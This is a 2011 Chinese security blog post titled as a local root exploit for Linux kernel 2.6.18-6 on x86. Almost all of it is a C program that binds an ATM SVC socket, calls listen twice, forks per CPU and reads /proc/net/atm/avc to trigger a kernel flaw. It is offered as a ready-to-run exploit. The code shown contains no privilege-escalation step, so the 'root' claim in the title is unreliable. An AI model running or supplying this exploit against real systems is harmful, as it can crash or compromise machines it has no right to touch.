Linux内核2.6.18 – 6 x86的本地root权限

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <linux/atm.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h> 

#define NUM_CPUS 8    
#define ATM "/proc/net/atm/avc"

int                           
main(void)                    
{                             
    char *err, adurit[2000];  
    int i, ret, sock, proc;   
    struct atm_qos dj;        
    struct sockaddr_atmsvc addr;

    sock = socket(PF_ATMSVC, SOCK_DGRAM, 0);

    memset(&dj, 0, sizeof(dj));            
    dj.rxtp.traffic_class = ATM_UBR;       
    dj.txtp.traffic_class = ATM_UBR;       
    dj.aal = ATM_NO_AAL;                   

    ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &dj, sizeof(dj));
    if (ret == -1) {
        printf("failed !n");
        return 1;
    }
    memset(&addr, 0, sizeof(addr));
    addr.sas_family = AF_ATMSVC;

    bind(sock, (struct sockaddr *) &addr, sizeof(addr));

    listen(sock, 10);
    listen(sock, 10);

    for (i = 1; i < NUM_CPUS; ++i) {
        if (fork() != 0) {
            break;
        }
    }
    proc = open(ATM, O_RDONLY);
    ret = read(proc, &adurit, 2000);
    close(proc);

    return 0;
}

本文固定链接: https://www.unhonker.com/bug/315.html | 90' s Blog|关注网络信息安全

该日志由 unhonker 于2011年10月07日发表在 漏洞公布 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: Linux内核2.6.18 – 6 x86的本地root权限 | 90' s Blog|关注网络信息安全

Linux内核2.6.18 – 6 x86的本地root权限:等您坐沙发呢!

发表评论

您必须 [ 登录 ] 才能发表留言!